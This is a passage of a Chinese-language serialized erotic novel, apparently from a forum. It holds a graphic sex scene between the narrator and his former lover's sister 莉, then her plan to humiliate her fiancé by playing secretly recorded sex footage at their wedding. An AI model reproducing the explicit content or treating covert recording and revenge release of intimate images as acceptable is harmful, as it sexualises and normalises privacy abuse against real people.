“小器!”莉知道我不肯破她的后庭花,带点不满的哼着嘴。我像要教训她的加强抽插的力度,女孩顿时酥麻没力,几乎连站也站也不隐,我半提身子,她的下半身彷如被我鸡巴支撑在半空,吓得呜哗大叫:“天哪!你的鸡吧到底有多壮,可以吊起我整个人耶?”

我没回答,只扶着她的细腰,更专心地操着蜜屄,剧烈的撞击把屁股操得碰碰作响,掀起片片雪白的臀花。莉受不了那过份刺激的抽插,双腿一软,又是声声求怜:“呀!呀!好哥哥!你快要操坏人家了!不要操得那么凶!”我心下一软,放慢动作,谁知她一个转身,却把我推倒床上,并以小嘴吸在仍沾满自己爱液的鸡巴上。

“嗦嗦!”莉贪婪地吸着亲着,以深喉式的替我口交,我料不到这年纪轻轻的女孩会淫秽得如此地步,错愕之余也只好乖乖享受。她爱不释手的吞吐了一段时间,突然抬头问我:“你要射在嘴里还是屄里?”

我耸肩答道:“都可以。”

“男人都是喜欢中出吧。”说着又骑到我的身上,以肉穴套弄我的鸡巴。我叹一口气,心想这小妮子真是性格不变,什么也要作主导才会高兴,而莉似乎亦猜到我的心思,伸一伸舌作个鬼脸,开始起劲地套着肉棒。

到此田地,我也懒得跟莉比拼,倒不如享受那性交的快感。眼前全身赤裸的莉皮肤很白,奶子很嫩,看着那樱红色的乳头上下跳动,肉棒传来那温热快感,我忽然有一种不像真实的感觉,思想彷彿被带到很远很远。脑海中玲的影子若有若无,如虚似幻,犹如从未出现过在我人生中。

不!玲是在的,即使她当日离我而去,但她在我人生短短的日子,已经足够丰盛我余下的生命。

那一层突如其来的思绪使我激动起来,我缠着莉的身体猛地抬起,将其按在床上,下身狠狠的疯狂挺动,女孩想不到我突然发难,被我插得高声呻吟。放肆的抽插了数分钟后,一阵冲动,那股炽热的精液便尽数射在莉的小屄当中。

“啊啊……好烫……好哥哥你射了好多……都到里面去了……呀……

呀……好舒服啊……好老公……”

射精的一刹那,我甚至分不清面前的到底是玲还是莉,也许对我而言,眼前的谁也不是。

“嗄嗄……嗄嗄……”

激情过后,莉软瘫瘫的躺在我的胸口,小手儿仍不住轻抚我软垂的阳具,以指节磨着龟头的末端,让我在畅快后亦能感受到异性的温柔呵护。

从莉的反应,我知道她性经验不会太多,却是相当懂得享受性所带来的欢愉。

而且亦会收放自如的道理,对一个男人而言莉这种女子无疑是最佳的性伴侣,我可以想像被她俘虏了的男人,是很难逃出她的魔掌。

“嘻。”忽然之间,莉发出一声轻笑,我不明地望着女孩,她一边搓弄着我的鸡巴,眼珠儿一边朝着我说:“你这东西真的很坏,插完姐姐,又来插我。”

我有点哭笑不得的说:“好像是你强来的啊。”

莉笑道:“那你操得不舒服吗?刚才还像头野兽的吼叫呢。”

我苦笑说:“是很舒服。”

莉忽地又问:“那和姐姐比,谁更舒服?”

这一个问题叫我顿住,我不想跟别人谈及与玲的私隐,纵使那是玲的家人。

莉不勉强我说:“你那么爱姐姐,当然是她更舒服了,我是十分明白的。”

然后又道:“但你要知道,爱她的不只你一个,我也是很爱玲姐的。”

我点点头望着莉,她继续笑笑地说:“所以为了要替姐姐报仇,我是可以不措一切,包括出卖我自己的身体。”

莉说得轻松,但再一次从不久前说放弃了的女孩口中听到报仇一词,我感到有一种说不出的不寒而栗。从莉那鬼魅的笑容,我感觉到,她根本从来没有放弃过她的计划。

第20章

“嘿嘿……”莉媚惑地望着我,在那深邃的眼眶内,我看到丝丝阴凉。

“你到底在想什么?”我胡疑问道,莉没有理我,自行从床上跃起,伸手取过面巾拭抹下体,回头正色的我说:“既然爱做完了,请问你舍得离开没有?”

我对莉这突然的逐客令有点错愕,她的态度成180度转变,跟刚才那个被我操得呱呱大叫的小女生完全是另一个人,那热情妖艳在瞬息间消失得无影无踪,换成一副冷漠嘴脸。

女人是一种比较重情的动物,除了金钱交易的妓女外,少有在完事后便立刻翻面无情,特别是偷情的女人大多是因为心灵寂寞才会做出越轨行为,就更喜欢被男人疼爱的感觉,不会那么决绝。莉有此举动,更令我觉得她是怀有目的,但这小妮子在想什么,我到此时仍是毫无头绪。

然而无论她有什么打算,亦并非我可以控制,这女子心思狡猾,一时一样,叫人无法触摸。我起来穿起衫裤,其时莉亦从洗手间清洗完毕,一身以浴巾包裹着的她递上玲的相片,轻笑问道:“姐姐的相片,你还要不要?”

我当然希望可以保留玲的近照,伸出手来,女孩瞬时又把照片扬起:“但你还有资格拥有吗?你口里说得那么爱姐姐,明知我是她妹妹,还是干上了,你们男人的所谓爱情,原来还不过如此。”

我无从狡辩,虽然刚才是受到莉的诱惑,但若果我真的尊重玲,是怎样也不应该跟她的妹妹发生关系。

莉看到我一脸愧色,轻蔑的说:“怎样?说中破处吗?干完才来后悔,你是不是男人?”说完把玲的照片交到我手中:“看你这样可怜,给你留来打手枪吧,我最瞧不起你这种人!”

我没话说,接过照片,如果莉对我的辱骂可以令她的心情好过一点,我是不会介意,对玲的伤害,我是愿意做任何事来作偿还。

我俩走出客厅,正当打开大门要离去时,莉又忽然问我:“如果可以再给你见到姐姐,你会怎样做?”

莉这一个问题叫我呆住半刻,我当然希望见玲,但过去对她的伤害,又岂容是时间可以沖淡,当日玲离去时那一个伤心的表情,我至今仍历历在目。

“为什么?为什么你不可以留给我一点点作为女人仅有的尊严?”

不可以,我就是再死一百次,亦不足以补偿玲的伤害,试问又如何有面目在她面前出现。

我默默地道:“玲今天已经有了新的生活,我不希望再打扰她。”

莉仰起头来,眼角从上以不留情的神色审视着我,呸了一声:“废物!”

说完莉把大门关上,只留我在虚空的走廊里。

我垂头丧气,拖着沉重的步伐离去,几分钟前的春光旖旎,到这时已经再不留半点。

然后很快又过了三个月,自莉离开后我没有招聘新的助手,和玲的游戏程式只差一点,我不想再节外生枝,这段时间我推掉所有工作,全力为两人的回忆作最后冲刺。到了今天,我终于完成最后阶段的修改。

准备好一切,我屏息静气,打开程式,画面上立刻响起音乐,同时亦出现玲亲手设计那个可爱的立体图像。

“完成了!”看到两人过往曾一起构思的游戏变成现实,我有点激动,虽然还未经过实际测试,也许仍有很多需要修改的地方,但此刻间,还是不自觉的兴奋得双眼通红。

游戏中的音乐很轻快,我们没有特别找专业作曲家谱上背境音乐,用的都是玲喜欢的乐曲,其中几首是玲在心情愉快时喜欢哼着的调子,从扬声器上听着,彷彿就忆起依人在睡前的轻唱。

“玲……”看着那动画人物在萤光幕上活跃跳动,我有一种说不出的感动,过往共渡的片段再现眼前,她的笑,她的泪,永远都是我人生最珍贵的宝物。

我没有打算把游戏公开,只想当作一份回忆,我甚至没想过要通过莉让玲知道,今生不再在玲的生命里出现,我想才是对她最好的补偿。

我抹一抹几乎要落下泪儿的眼眶,爬起身子,想往外面走走,这段日子埋头苦干,我已有多日未有外出,在终于完成了的此刻想到外面走走,呼吸一下市面的空气。

来到相熟的餐厅,这时已经是下午三点,但老板仍是特别为我煮一客爱吃的早餐,看到我脸上流露出喜悦,好奇地问:“老兄你中彩票吗?那么高兴的?”

我笑答道:“差不多吧。”

吃过饭后,想起也有一段时间没有探望小聪,便到附近的百货店买了一点小零吃去到黄太太的家,这小子今年已经差不多四岁,长得精灵可爱,话也说得不少,有时候会问我大姐姐去了哪里,我只笑着推说有点事忙,到了外国工作,回来后一定再来探你。

黄太太很好客,老是要把我留下吃晚饭,我再三推辞也脱不了身,最后只有说过谎话,说晚上约了多年不见的老友叙旧,才得以离去。

然而这时候我亦没有想到,几年不见的老朋友,真的会在这个傍晚致电给我。

当收到明的来电时,我是有些意外。自从玲一事以来,我们就没有再见过面,就是当日结束公司,大家亦是轮流收拾,没有碰过一面。虽然因为我俩伤害了玲,但我对明并没有太大仇恨,始终当日他跟我是同一类人,色欲薰心,也分不清所作所为是否会伤害对方。如果要恨,也只好恨当年自己的犹豫不决了。

我平静地接过电话,听到好朋友别来无恙的声音,心中有点安慰,大家寒暄几句几年已况,对方忽然说出令我吃惊的说话。

“结婚?”

我想不到会从老友口中听到这个字眼,不禁惊奇起来,明的语气有些尴尬,难为情说:“我今年都30了,玩也玩过,应该是收心养性的时候,我跟女友商量好了,打算在年底拉起天窗。”

“这样啊,那恭喜了。”我有点愕然,但仍是祝福好友进入人生的另一阶段。

说到这里,明的态度有点窘困:“如果聪你不介意,我希望你可以出席我们的婚礼。”

“我当然不介意,你这小子在说什么话,我们是好朋友嘛,你结婚我当然要出席。”我想也不想便说,明惭愧地说:“但你跟玲的事,你不会恨我?”

我叹口气说:“那是过去了的事,我亦有责任,也不好说恨不恨了,只希望玲以后能活得快乐吧。”

“嗯。”明顿了一顿,着我说:“我女朋友亦想见你,如果有时间,今晚出来喝一杯好吗?”

我犹豫了一阵,说到底把玲伤得最深的是我,我总不能把所有责任都怪在明的头上,既然明主动说了,我也只好答应:“可以的。”

“那晚上九点,铜锣湾酒店的咖啡厅好吗?”

“好的。”

挂线后我呼一口气,我对明不再有恨,而且亦想知道当日连玲也感动不了的浪子之心,是谁家姑娘有此本事。

到了相约时间,我准时到达,其时明已坐在咖啡厅一角,旧朋友主动向我挥手,我走到桌前坐下:“很久没见了,最近好嘛?”

明点点头:“还可以吧,公司结束后在外公的出版社帮忙,最近搞一些大陆的时事刊物,经常要中港两边跑。”

“这样不错啊,几年不见,你成熟了呢。”我看到明西装骨骨,不再是以往的吊儿郎当,感慨的说。

明苦笑道:“人总要长大的,现在回头看,才发觉以前真的很荒唐。”

我同意说:“对呢……”

明望着我,诚恳的说:“玲的事,我真的抱歉,这些年里我一直想跟你道歉,但总是拿不出勇气,聪,我知道我做的是不可原谅,但我真的希望对你说一声对不起。”

我叹气说:“我亦是伤害玲的凶手之一,凭什么接受你的道歉?如果有生之年可以再见到玲,我亦希望可跟她道歉。”

“嗯……”明愧色点头。

这时候一个妙龄女子来到我俩的桌前,柔声笑说:“两个男人,说什么说到垂头丧气的,反省以往做过的坏事吗?”

“来了吗?”明站起来迎接,并向我介绍道:“聪,这是我的未婚妻。”

女郎微笑点头:“幸会,我姓林,林茵莉。”

我吸一口凉气,不知如何反应。

如果玲是天使,那么莉,无疑就是魔鬼。

莉顾盼自若,脸上没有半点破绽,完全表现出跟我是首次见面,女孩伸出手来向我问好:“程先生吗?我未婚夫经常提起你,说你是他的旧伙伴,亦是他最好的朋友。”

我礼貌地握下手来,莉落落大方地坐在椅上,笑靥满面的跟明说:“你朋友很英俊呢。”

明开玩笑道:“喂,你不会看上了聪吧?”

莉故作戏弄般说:“如果早点认识,很难说,但现在答应嫁你,没奈何。”

“你这小魔鬼。”明摸着未婚妻的秀发笑道,又转头向我说:“聪,不要见怪,莉在外国长大,说话是不分轻重。”

我摆摆双手:“你未来妻子讚我长得帅,我当然不会有异议。”

两人同时笑着,从那一片温馨气氛,很难想像这里面可能暗潮汹涌。

简单介绍后我们各自点了饮料,喝着热腾腾的泡沫咖啡,我的心却感到一片寒意。

“你不是说要减肥,穿婚纱好看一点的吗?怎么又点牛奶咖啡?”

“人家就是要喝多一点奶,胸部大一点,让你这个新郎有面子!”

“哈哈,要胸大的话就不娶你。”

“那你去娶别人啊,我不会阻你。”

“小妮子,开玩笑都不可以吗?”

“好老公,那我跟你开玩笑又不可以吗?”

看着跟明嘻笑的莉,我恍然大悟,开始有点明白她的计划,莉不单只要向我报复,而且亦要向明报复!

想到这里,我发觉自己真是太大意了,玲与这位没有血缘的妹妹感情极好,虽然分隔两地,亦经常以电邮联络,既然莉知道我曾跟玲相恋,那玲跟明的事莉亦当然不会不知,怎么之前我居然没想到这点。

如果说我是伤害玲的男人,那明亦算是欺骗玲感情的一个,莉对他抱有仇恨,是可以理解的事。但一个女人,真的可以为了报复而不惜去嫁一个男人吗?

我在这时真的觉得不可理喻。

这一晚的叙旧我可以说是在颤栗中渡过,我知道莉是不怀好意,但她以明未婚妻的身份出现,到底是有什么目的?

我装作若无其事,跟两人谈笑风生,那一个个问号在心内转过不停,到莉表示到洗手间补粧的时候,我试探性的问明:“明,过去你跟玲一起的时候,有没听过她提及兄弟姐妹?”

明点点头:“有,她说有一个过了身的弟弟,还有两个后父的兄妹,但详细就没提起。”明抱歉补充:“你知道,我那时候最关心,并非玲的家人。”

我没答话,事实上我跟玲一起的时间,她亦有提及外国的家人,并说有机会要介绍给我认识,但因为碰不巧,总是没有成事。我曾有看过他们的照片,只是当时没有太在意,加上大多是在校园里的纯朴模样,跟现在面前这个性感女郎有很大区别,女人经过打扮,可以是两个模样。

明不解问道:“聪你怎么突然这样问?”

我摇头说:“没什么,我只是想起玲回到加拿大后,有没人可以照顾她。”

“嗯。”明没有继续说下去,他显然是害怕未婚妻会随时回来,不敢再在玲的话题上琢磨。

我这时候亦没说什么,始终不知道莉的用意,而且看到好友喜事洋洋的,我亦不便多言。

莉自洗手间回来后两人便以时间不早为由,结帐离去,临行时看到明亲热地牵着莉的手,我感觉我的多年好友真的被驯服了,一物治一物,可能就是这种意思吧。

告别明和莉后我没有立刻回家,而是在入夜后仍然车水马龙的街道上闲逛。

莉的举动令我满肚密圈,这个狡滑的女郎,先前还口口声声的说要替玲报仇,我断不会相信她是真心爱明而愿意下嫁。

她到底在想什么,而早前接触我的用意又是什么?

然而这一切问题并不需要我思索,一如过往,莉这个女孩子总爱自行把所有事和盘托出,就像跟你玩一盘给对手看清底牌的赌博,而且更要赢得俐落。

当我回到家时,已经看到莉比我更早到达,并旁若无人的坐在客厅中央。

“你怎会在这里?”我狐疑问道,跟两个月前相比,此刻我当然有所警惕,莉摇曳着手上的锁匙,取笑说:“奇怪我怎么可以进来?难道你不知道锁匙是可以多配几条的吗?”

当日为方便出入,莉要求我把家里锁匙给她,我想着她是一个女人,没什么防范,而莉在辞职当天亦已把锁匙交还,没想到早已複制在手。

莉没理会我那困惑的表情,轻蔑的道:“还说很爱姐姐,一个害得她那么惨的男人随便打个电话,你就前事不计的跟他一起喝咖啡了,你这个人,真是贱得紧要。”

莉站起来,从后以手搂着我:“其实今天是我跟明说,很想见他的朋友而叫他找你出来的。我本想如果你是有点人性一口拒绝,对你还有一丝同情,没料到你比我想的更无耻。如果被姐姐知道,两个玩弄她的男人,到今时今日还称兄道弟,甚至高高兴兴地出席他的婚礼,不知道会有什么感想。”

我无从反驳莉的说话,只默默的说:“你到底想怎样?”

莉毫不思索回答道:“我说的很清楚,当然是要报仇。半年前我回到香港,先后接近你们两个,姐姐是个好人,纵是受害者亦没说太多你们所做的坏事,我必须要知道究竟。”

莉顿了一顿,继续笑说:“我先接触明,再来找你。后来我发觉你这个人虽然无能,但毕竟还思念着姐姐,算是会反省自己的罪过:而那个禽兽就仍是一个花花公子,丝毫没有内疚伤害过的人,所以我决定要先教训他。”

我回头问:“但你嫁给他,难道就可以报到仇了吗?”

莉哼了一声:“我当然不会嫁给那种禽兽,这一切都是假的。”

“假的?”

莉讥笑道:“对,相处三个月后,我发觉他被我迷住了,你们这些自认色狼的男人,其实都是一堆不敢面对爱情的废物,只要欲擒故纵,给他跟其他女人没有的感觉,就手到拿来。我跟姐姐不一样,对付男人,我有我的一套。”

“那你的目的是?”

“他怎样对姐姐,我就要他得到同样的教训,让他知道被背叛的痛苦。那禽兽是家中独子,是全家人将来唯一的希望,我就要这个希望,变成令家族蒙羞的污点。”莉冷笑说:“明的外公是一个在出版界有头有面的人,最近还搭上国内的政府官员,在大陆出版报导官方消息的时事杂志,而明更是挂名的出版人。”

我默默听着,明的家境不俗,因此他在过去能够以玩乐为主也不愁生活。跟我合组公司,美名为想独自闯天下,但其实亦是为了不受家人监管,可以时间自由。

“那个禽兽的家人很喜欢我,知道我俩结婚,不惜大肆铺张搞百万婚宴,极尽豪华,但三个月后的婚礼,将会是他们的一个恶梦。婚礼上播出的,并不是事先准备好的温馨片段,而是他们心中那个好媳妇,跟别个男人淫乱的精彩表演。”

莉盯着我,狡黠笑说:“而片中的男主角,就是新郎最好的朋友。”

我对莉的说话感到说不出的可怕,一个如此年轻的女孩,竟可以有这样恶毒的想法,我声线抖震的说:“你以前勾引我上床,就是为了拍影带?”

莉冷冷的道:“当然,难道你以为自己真的很有魅力,鸡巴很大,每个女人都会忍不住想给你操吗?不要妄想了!过往跟你的两次做爱我都有暗中拍下,到时候就会在婚礼上播出。我要你俩反目成仇,在他心坎刺上一刀。”

我简直不可相信莉这个疯狂的想法,一时间答不出话来,莉继续笑说:“这段时间,我在明的面前,表现出是一个高贵的淑女,就连一次也没有给他,说要留到两人的初夜。到时候他就会就知道,他那个贞洁的老婆,原来老早就被好朋友操了!”

“你这样做对你有什么好处?你是个女人,公开自己的私隐,难道又会得益吗?”

莉若无其事说:“我不在乎,可以替姐姐报仇,我不介意出卖自己的肉体,事后我就会返回加拿大,再也不来香港,只留那禽兽在这边被他的亲友耻笑一生一世。嘿嘿,明的外公我见过两次。人很好的,就是爱面子,听说还有心脏病,不知道看到外孙媳妇的床戏,会不会当场爆血管死。”

听到这里,我愤然挣开莉的双手,怒极说:“你太疯狂了,为了达到目的,就可以这样埋没人性?”

“人性?你跟我说人性?为什么你不问问你的好朋友,在玩我姐姐时有没想过人性?”莉反问我。

我盯着莉说:“我不会让你的计划得逞,我明天就要告诉明的一切!”

莉笑道:“我今天特意来把所有事告诉你,就是想你通知他。但我知道你不会的,你口口声声说不再介怀,其实心里仍是十分痛狠那个曾玩弄过你心爱女人的禽兽,你口里说是朋友,实际上你巴不得他死在你面前!”

“我没有……”

“不用骗我了,你是在欺骗自己,你跟我是一伙的,我们两个都深爱姐姐,都希望教训曾经害过她的人。”莉妖野的诱惑道:“来吧,我们一起合作,让犯罪的人受到应有的惩罚,让偷心的人亲自体会到,心被偷去那种痛不欲生的感觉。”

“……”

“我们上床吧,穿着这套刚刚一起喝咖啡的衣服做爱,让明知道在自己欢天喜地把未婚妻介绍给好朋友的当天,他们就做了爱。”莉拉开衣襟,露出那性感的胸罩:“当日你的好朋友操了你心爱的人,现在就轮到你操他心爱的女人。”

我莫名地拒斥莉的逼近,带点痛心的道:“够了!你有必要做到这样狠毒吗?”

“好哥哥,狠毒的方法多着呢,你好好看,更有趣的还在前面,嘻嘻。”莉淫靡的笑道:“答应我吧,有你的参与,游戏才会有意思。”




[ 本帖最后由 ATTAR 于 8-19 18:54 编辑 ]